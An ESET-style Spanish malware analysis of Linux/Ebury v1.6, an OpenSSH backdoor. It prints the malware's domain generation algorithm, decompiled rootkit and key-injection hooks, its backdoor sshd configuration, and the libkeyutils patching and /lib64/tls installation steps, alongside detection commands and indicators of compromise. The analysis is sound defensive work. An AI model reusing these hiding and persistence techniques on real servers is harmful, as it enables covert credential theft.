En febrero de 2014, los investigadores de ESET escribieron sobre un backdoor de OpenSSH y ladrón de credenciales llamado Linux/Ebury. La investigación adicional mostró que este componente era el núcleo de una operación que involucraba múltiples familias de malware, que llamamos "Operación Windigo". Esto condujo a la publicación de un white paper que analizó la operación completa.
En febrero de 2017 encontramos una nueva muestra de Ebury, que presenta una cantidad significativa de nuevas características. El número de versión subió a 1.6.2a. En el momento de ese descubrimiento, las últimas versiones que habíamos visto eran 1.5.x, meses antes. Después de una investigación más profunda, nos dimos cuenta de que su infraestructura para filtrar credenciales todavía estaba operativa y que Ebury todavía estaba siendo utilizado activamente por la pandilla de Windigo.
Los IoC originales que proporcionamos en 2014 son para la versión 1.4 de Ebury. En su sitio web, CERT-Bund actualizó los IoC para la versión 1.5. En la presente publicación proporcionamos detalles técnicos sobre la versión 1.6, que descubrimos en febrero de 2017. También compartimos IoC actualizados para las versiones 1.5 y 1.6.
Un algoritmo de generación de dominio para extraer credenciales
Ebury v1.4 usa un algoritmo de generación de dominio (domain generation algorithm o DGA) cuando el atacante no se conecta al sistema infectado a través del backdoor de OpenSSH durante tres días. Bajo estas condiciones, Ebury filtrará la información recolectada usando el dominio generado.
Ebury v1.6 tiene el mismo mecanismo, pero hay un cambio menor en el DGA; solo las constantes cambiaron entre estas dos versiones, como muestra la figura 2.
def DGA(domain_no):
TLDS = [ 'info', 'net', 'biz' ]
KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
g = ""
for i in range(len(h))[::-1]:
g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
g += h[i]
g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
g += '.%s' % TLDS[domain_no % len(TLDS)]
return g
Figura 1: El nuevo DGA de Ebury v1.6 nimplementado en Python
@@ -1,10 +1,10 @@
def DGA(domain_no):
KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
- h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF)
+ h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
g = ""
for i in range(len(h))[::-1]:
- g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
+ g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
g += h[i]
- g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)]
+ g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
g += '.%s' % TLDS[domain_no % len(TLDS)]
return g
Figura 2: Diferencias entre el DGA en v1.4 y v1.6 implementado en Python
Los primeros diez dominios generados por el DGA son:
- larfj7g1vaz3y.net
- idkff7m1lac3g.biz
- u2s0k8d1ial3r.info
- h9g0q8a1hat3s.net
- f2y1j8v1saa3t.biz
- xdc1h8n1baw3m.info
- raj2p8z1aae3b.net
- o9f3v8r1oaj3p.biz
- tav4h8n1baw3r.info
- hdm5o8e1tas3n.net
Ebury intenta secuencialmente los nombres de dominio generados hasta que encuentra uno que tiene un registro TXT establecido por el operador. Para verificar la propiedad del dominio, Ebury verifica si el registro TXT se puede descifrar usando una clave pública RSA incrustada en su código:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----
larfj7g1vaz3y.net. 1737 IN A 78.140.134.7
larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="
Figura 3: Registros de DNS para larfj7g1vaz3y[.]net.
El registro A en el dominio es ignorado por Ebury.
Los datos descifrados tienen tres campos separados por comas. Aquí hay un ejemplo de los datos almacenados en la entrada de DNS para larfj7g1vaz3y[.]net en agosto de 2017:
larfj7g1vaz3y.net:3328801113:1504126800
El primer campo contiene el nombre de dominio para que los datos firmados no se puedan reutilizar para otro dominio. El segundo campo es la dirección IP del servidor C&C y el tercero contiene una marca de tiempo UNIX utilizada como fecha de vencimiento de los datos firmados.
La fecha de vencimiento es un nuevo campo agregado como mecanismo anti-sinkhole en v1.6. Si alguien tratara de apoderarse del dominio y la dirección IP del servidor de filtración, solo sería posible reutilizar los datos firmados por un tiempo limitado, reduciendo el impacto de un intento exitoso de sinkhole: algo que sucedió para casi todas las versiones anteriores del DGA.
Tabla 1: Información decodificada almacenada en el registro TXT
Nombre de dominio | Dirección IP | Fecha de expiración |
---|---|---|
larfj7g1vaz3y[.]net | 0xc6697959 ⇒ 198[.]105.121.89 | 30/08/2017 @ 9:00pm (UTC) |
No creemos que los operadores de Ebury estén pensando usar este mecanismo realmente. En las muestras que analizamos, se encontraron múltiples bugs que evitaban que se ejecutara la rutina, lo que indica que el código no atravesó una fase de pruebas completa.
Por ese motivo, sospechamos que sería bastante extraño que los operadores perdieran acceso a sus máquinas infectadas. También es posible que no les importe perder acceso a una pocas máquinas de vez en cuando, siendo que controlan tantos sistemas comprometidos. Por qué se dedican esfuerzos a un mecanismo que ya no funciona no está claro para nosotros.
Resumen de cambios
- DGA ligeramente modificado (constantes cambiadas)
- Se añadió una fecha de expiración para la validez de la entrada DNS del servidor de filtración
- Nuevo dominio registrado: larfj7g1vaz3y[.]net
- Nueva dirección IP del servidor de filtración: 198[.]105.121.89
Nuevas funcionalidades
Se añadieron nuevas funcionalidades a la versión 1.6. Por motivos desconocidos, no estaban disponibles en todas las muestras de la v1.6 que analizamos.
Ebury ahora implementa técnicas para ocultarse que generalmente se describen como "userland rootkit". Para ello, hace un hook a la función readdir o readdir64, cada una de las cuales se usa para enumerar entradas de directorio. Si la siguiente estructura de directorio para devolver es el archivo de biblioteca compartida de Ebury, el hook la saltea y devuelve la entrada siguiente.
struct dirent *__fastcall readdir(__int64 a1)
{
struct dirent *dir_entry; // rax
struct dirent *dir_entry_1; // rbx
__ino_t inode; // rax
do
{
if ( !readdir_0 )
readdir_0 = F_resolve_func("readdir");
dir_entry = readdir_0(a1);
dir_entry_1 = dir_entry;
if ( !exports_hook_activated )
break;
if ( !dir_entry )
break;
if ( !ebury_inode )
break;
inode = dir_entry->d_ino;
if ( inode != ebury_inode && inode != ebury_lstat_inode )
break;
}
while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
ebury_filename_len_before_extension) );
return dir_entry_1;
}
Figura 4: Salida Hex-Rays del hook readdir de Ebury
La activación de estos hooks es hecha por Ebury inyectando su biblioteca dinámica en cada proceso descendente de sshd. Para inyectarse en subprocesos, Ebury hace hook a execve y usa la variable LD_PRELOAD del enlazador dinámico. Cada vez que se crea un nuevo proceso, Ebury agrega LD_PRELOAD = <Ebury_filename> a su entorno. Una vez que se ejecuta el nuevo proceso, se carga la biblioteca dinámica de Ebury y se llama a su constructor, ejecutando las rutinas de hook.
Como se menciona en un artículo en srvfail.com, hay un hilo en StackExchange de un usuario que afirma que Ebury ha comprometido su máquina. El comportamiento que describe corresponde a las técnicas de auto-ocultación de las que hemos sido testigos en Ebury v1.6.2a.
Las versiones anteriores de Ebury solían funcionar solo en versiones muy específicas de OpenSSH y eran específicas para distribuciones de Linux. Normalmente, las muestras anteriores de Ebury funcionarían para entre tres y cinco compilaciones de OpenSSH para una determinada distribución de Linux. Este ya no es el caso. La mayoría de las rutinas de parcheo de OpenSSH fueron reemplazadas por el hooking de funciones. Ya no hay compensaciones hardcodeadas. Intentamos instalar Ebury en máquinas que ejecutan Debian Jessie, CentOS 7 y Ubuntu Artful con la misma muestra y funcionó en todos los casos.
Para inyectar la configuración del servidor OpenSSH directamente en la memoria, Ebury analiza la sección del código del binario sshd mapeada en el mismo proceso buscando dos funciones diferentes. Intenta encontrar la dirección de parse_server_config o process_server_config_line.
Si falla, degrada las características de seguridad al deshabilitar el control de acceso basado en roles SELinux y al desactivar los módulos PAM. Cuando una de las funciones se resuelve con éxito, Ebury lo aprovechará cuando el backdoor se use para alterar la configuración de sshd.
PrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any
Figura 5: Configuración usada por el backdoor de Ebury.
Los autores de Ebury también endurecieron su mecanismo de backdoor. En lugar de confiar solo en una contraseña codificada en la string de la versión del cliente SSH, la activación ahora requiere una clave privada para autenticarse. Es posible que esta verificación adicional se haya agregado para evitar que otras personas que hayan encontrado la contraseña del backdoor puedan usarla para obtener acceso al servidor comprometido de Ebury.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub
Figura 6: Clave pública de RSA de los operadores de Ebury.
Cuando hay un intento de conexión al backdoor, Ebury modifica la opción AuthorizedKeysFile para que apunte a /proc/self/ environ. Hace hook a open o open64 y comprueba si hay un intento de abrir /proc/self/environ o una ruta que contenga .ssh/authorized_keys. La segunda verificación se puede usar como una alternativa en caso de que Ebury no haya podido resolver parse_server_config y process_server_config_line para enviar su propia configuración.
Ebury también hace hook a fgets que es llamada por sshd para leer el contenido del archivo authorized_keys. Se utiliza una variable global para asegurarse de que se invoca a fgets después de que se abrió el archivo authorized_keys. Luego, el hook llena el buffer de fgets con la clave pública de los operadores de Ebury, por lo que la clave del atacante se usa para la autenticación.
char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
int fd_env; // ebp
char *result; // rax
if ( !(backdoor_command & 1) )
return fgets_0(s);
fd_env = fd_proc_self_environ;
if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
return fgets_0(s);
strcpy(
s,
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
result = s;
fd_proc_self_environ = 0;
return result;
}
Figura 7: Salida Hex-Rays del hook fgets
Algo que sigue siendo un misterio para nosotros es el propósito de este hook memcpy:
char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
size_t len_1; // r12
char *result; // rax
len_1 = len;
memcpy_orig(dst, src, len);
if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )
result = memcpy_orig(dst, src + 30, len_1 - 30);
else
result = dst;
return result;
}
Figura 8. Salida Hex-Rays del hook memcpy.
Si bien sabemos que el hook es usado para eliminar el algoritmo chacha20-poly1305 durante el intercambio de clave SSH, no comprendemos por qué los autores de Ebury no quieren que se use este algoritmo.
Nuevos métodos de instalación
Anteriormente, Ebury agregó su payload dentro de la biblioteca libkeyutils.so. El archivo contendría las funciones legítimas de libkeyutils y el código malicioso Ebury, que se inicia al cargarse. Cuando se viera comprometido, el archivo era más grande de lo normal, una señal de compromiso que compartimos en 2014.
Si bien hemos visto esta técnica utilizada por la versión 1.6, los autores de Ebury han ideado nuevos trucos para engañar a nuestros IoC. Todavía usan el archivo libkeyutils.so, pero de manera diferente.
Según lo que hemos visto, las secuencias de comandos y las técnicas de implementación parecen diferir en función de la distribución de Linux del sistema de destino.
Debian/Ubuntu
En sistemas Debian/Ubuntu, Ebury se implementa actualmente utilizando un nuevo método. Dado que libkeyutils.so es cargado por el cliente OpenSSH y los ejecutables del servidor OpenSSH, sigue siendo un objetivo interesante para los atacantes.
Hemos visto previamente a Ebury instalado cambiando el enlace simbólico libkeyutils.so.1 para que apunte a la versión maliciosa de la biblioteca. La biblioteca alterada tendría un constructor donde se almacena el código de inicialización de Ebury. Cada vez que se carga libkeyutils.so, se llama al constructor. Por lo tanto, cada vez que se lanza el cliente o servidor OpenSSH, Ebury se inyecta en el proceso.
El último método de implementación en Debian/Ubuntu ahora se basa en el parcheo de libkeyutils.so para forzarlo a cargar Ebury, que se almacena en un archivo .so separado. Comparando una versión original y una parcheada, notamos que hay una entrada adicional en la sección .dynamic del encabezado ELF. Esta entrada es de tipo NEEDED (0x01), lo que significa que es una dependencia de este ejecutable y que se cargará en tiempo de ejecución. En el script de implementación que hemos analizado, la biblioteca que se va a cargar se llama libsbr.so y contiene el código malicioso de Ebury.
--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@
-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0xdf0
0x000000006ffffff9 (RELACOUNT) 3
+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]
0x0000000000000000 (NULL) 0x0
Figura 9: Diferencia entre sección dinámica de una versión original y una parcheada de libkeyutils.so.
El proceso de parcheo tiene dos pasos. Primero, la cadena "libsbr.so" debe almacenarse en la tabla de strings del binario. En segundo lugar, debe agregarse una nueva entrada de tipo 0x1 (DT_NEEDED) a la sección dinámica de los encabezados ELF. Esta entrada debe apuntar a la string de la biblioteca con un desplazamiento en la tabla de strings. Los autores de Ebury reemplazan la cadena "__bss_start" por "_\ x00libsbr.so". Como __bss_start no es utilizado por el enlazador dinámico, la modificación de este símbolo no tiene ningún impacto en la ejecución de la biblioteca. La Figura 10 muestra la diferencia entre el original y la tabla de strings alteradas de libkeyutils.so.
Ahora que la cadena "libsbr.so" se almacena en la tabla de strings, se debe agregar una nueva entrada en la sección .dynamic. La Figura 11 muestra la diferencia entre la sección .dynamic del original y del parcheado libkeyutils.so.
La sección.dynamic contiene un array de Elf64_Dyn para binarios de amd64 y Elf64_Dyn para binarios de i386. Las definiciones de estas estructuras se muestran en la figura 12.
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
Figura 12: Estructuras relacionadas a la sección .dynamic
En la figura 13, tenemos una versión para 64 bits de libkeyutils.so. Por lo tanto, la nueva entrada en la sección .dynamic podría ser escrita como sigue:
Elf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;
Figura 13: Nueva entrada .dynamic
El primer campo es 0x1, que se traduce a la etiqueta DT_NEEDED. El segundo campo es el desplazamiento para la string libsbr.so en la table de strings: 0x3F8.
Para ser más sigilosos, los operadores de Ebury se ocupan de parchear las sumas MD5 del paquete libkeyutils1. Así que no es posible verificar si un sistema está infectado mirando la integridad del paquete; un comando a tal fin no mostraría errores:
$ dpkg --verify libkeyutils1
Se usan múltiples nombres de archivo cuando Ebury se implementa como biblioteca independiente. Esta es la lista de nombres de archivo que conocemos:
- libns2.so
- libns5.so
- libpw3.so
- libpw5.so
- libsbr.so
- libslr.so
CentOS
En CentOS se utilizan técnicas similares a la descrita para la implementación de Debian/Ubuntu. Los atacantes parchearían libkeyutils.so para forzarlo a cargar una biblioteca adicional. Además, notamos una nueva técnica utilizada para implementar Ebury en los sistemas CentOS/RedHat.
Todavía no conocemos todos los detalles sobre cómo funciona el proceso de instalación. El análisis de varios informes en línea nos ayudó a hacer algunas conjeturas sobre cómo ocurre la implementación.
Sabemos que Ebury se implementó como un objeto compartido separado cargado por libkeyutils de una manera similar a la implementación de Debian. Pero también fuimos testigos de otro método de instalación, que creemos que es el método de implementación para v1.6.
Como fue el caso en lanzamientos anteriores de Ebury, los operadores construyen su propia versión de libkeyutils.so a la cual agregan un constructor que contiene el código malicioso. En lugar de alterar libkeyutils.so.1 desde /lib/ o /lib64/ usan la carpeta /lib {, 64}/tls/ para cargar su archivo porque el enlazador dinámico mira primero este directorio cuando se resuelven las dependencias.
Creemos que el proceso de implementación para esta versión es cargar Ebury en /lib/tls/ o /lib64/tls/ dependiendo de la arquitectura del sistema de la víctima. Luego, al ejecutar ldconfig se creará automáticamente un enlace simbólico /lib{,64}/tls/libkeyutils.so.1 que apunta al objeto compartido malicioso.
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
# cp libkeyutils.so.1.5 /lib64/tls/
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
# ldconfig
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
Figura 14: Uso de ldconfig para cargar Ebury en /lib64/tls/
Además, crea un sistema de desinstalación simple que no requiere manipular enlaces simbólicos y mantener algunas copias de seguridad del objeto compartido original de libkeyutils en caso de que algo salga mal durante el proceso de implementación. Lo único que se necesita es borrar el archivo libkeyutils.so malicioso en la carpeta /lib {,64}/tls/, luego ejecutar ldconfig nuevamente y el sistema vuelve a su estado original.
# ls -l /lib64/tls
total 16
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
# rm /lib64/tls/libkeyutils.so.1.5
# ldconfig
# ls -l /lib64/tls
total 0
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5
Figura 15: Uso de ldconfig para desinstalar Ebury
El subdirectorio tls se usa junto con una funcionalidad del loder de Linux en la que si el CPU soporta un conjunto de instrucciones adicional, el incluido en ese directorio se impone por sobre el "regular". El directorio tls es en realidad para una pseudo-hwcap de "TLS support" que está siempre presente actualmente.
Conclusión
Incluso después del arresto de Maxim Senakh, el núcleo de Windigo aún está en funcionamiento. Ebury, el componente principal de la botnet de Linux, ha pasado por importantes actualizaciones.
Ahora usa técnicas de auto-ocultación y nuevas formas de inyección en procesos relacionados con OpenSSH. Además, usa un nuevo algoritmo de generación de dominio (DGA) para encontrar qué registro de TXT de dominio buscar. La dirección IP del servidor de filtración está oculta en estos datos, firmada con la clave privada de los atacantes.
Se agregó una fecha de caducidad a los datos firmados para defenderse contra la reutilización de firmas, mitigando así posibles intentos de sinkhole. Los operadores de Windigo regularmente monitorean IoCs compartidos públicamente y se adaptan rápidamente. Mantén esto en mente cuando intentes determinar si un sistema está infectado usando IoC públicos. Cuanto más viejos son, más probable es que sean obsoletos.
Indicadores de compromiso (IoCs)
En esta sección compartimos los IoC que podrían ayudar a identificar estas últimas variantes de Ebury. Los proporcionamos para ayudar a la comunidad a detectar si sus sistemas están comprometidos, pero no se deben considerar exhaustivos.
Ebury usa ahora un conector UNIX abstracto para comunicarse con un proceso externo que será responsable de filtrar datos. En la mayoría de los casos, el nombre comienza con "/tmp/dbus-". El dbus verdadero puede crear un conector usando el mismo patrón. Sin embargo, Ebury hace esto con procesos no relacionados al dbus legítimo. Si el siguiente comando genera el socket, es sospechoso:
$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus
Aquí hay una lista de los procesos que sabemos que Ebury usa como agente de filtración:
- auditd
- crond
- anacron
- arpd
- acpid
- rsyslogd
- udevd
- systemd-udevd
- atd
- hostname
- sync
En CentOS/Redhat, tener un archivo libkeyutils.so* en /lib/tls/ o /lib64/tls/ es sospechoso.
Ejecutar objdump -x libkeyutils.so.1 (o readelf -d libkeyutils.so.1) imprimirá la sección dinámica del encabezado ELF. Cualquier cosa NEEDED (tipe 1) que no sea libc o libdl es sospechoso.
$ objdump -x /path/to/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so
En caso de que tu computadora esté infectada con una versión de Ebury con el userland rootkit, hay muchas formas de detectarlo. Dado que se inyecta a sí mismo usando la variable de entorno LD_PRELOAD del enlazador dinámico, podemos usar alguna otra variable de entorno para rastrear el proceso de vinculación dinámica. Si libkeyutils se carga en algún proceso donde no debería, es muy probable que el sistema esté infectado con una versión de Ebury habilitada para rootkits. Si el siguiente comando aumenta el resultado, es muy sospechoso:
$ LD_DEBUG=symbols /bin/true 2>&1 | grep libkeyutils
Si detectas máquinas comprometidas, te sugerimos que realices una reinstalación completa del sistema porque Windigo a veces instala malware adicional. Por lo tanto, es probable que una máquina comprometida por Ebury esté contaminada por otras amenazas.
Además, considera todas las credenciales de usuario y todas las claves SSH comprometidas. Asegúrate de cambiarlos todos.
Hashes relacionados a Ebury
SHA-1 | Nombre de archivo | Versión | Detección |
5c796dc566647dd0db74d5934e768f4dfafec0e5 | libns2.so | 1.5.0 | Linux/Ebury.B |
615c6b022b0fac1ff55c25b0b16eb734aed02734 | Unknown | 1.5.1 | Linux/Ebury.E |
d4eeada3d10e76a5755c6913267135a925e195c6 | libns5.so | 1.5.1c | Linux/Ebury.E |
27ed035556abeeb98bc305930403a977b3cc2909 | libpw3.so | 1.5.1d | Linux/Ebury.E |
2f382e31f9ef3d418d31653ee124c0831b6c2273 | libpw5.so | 1.5.1e | Linux/Ebury.E |
7248e6eada8c70e7a468c0b6df2b50cf8c562bc9 | libpw5.so | 1.5.1f | Linux/Ebury.I |
e8d3c369a231552081b14076cf3eaa8901e6a1cd | libkeyutils lib | 1.5.5 | Linux/Ebury.F |
1d3aafce8cd33cf51b70558f33ec93c431a982ef | libkeyutils lib | 1.5.5 | Linux/Ebury.F |
a559ee8c2662ee8f3c73428eaf07d4359958cae1 | libkeyutils lib | 1.5.5c | Linux/Ebury.F |
17c40a5858a960afd19cc02e07d3a5e47b2ab97a | libslr.so | 1.5.6dp | Linux/Ebury.I |
eb352686d1050b4ab289fe8f5b78f39e9c85fb55 | libkeyutils.so.1.5 | 1.5.6d | Linux/Ebury.F |
44b340e90edba5b9f8cf7c2c01cb4d45dd25189e | libkeyutils.so.1.5 | 1.6.2a | Linux/Ebury.I |
e8d392ae654f62c6d44c00da517f6f4f33fe7fed | libsbr.so | 1.6.2gp | Linux/Ebury.I |
b58725399531d38ca11d8651213b4483130c98e2 | libsbr.so | 1.6.2gp | Linux/Ebury.I |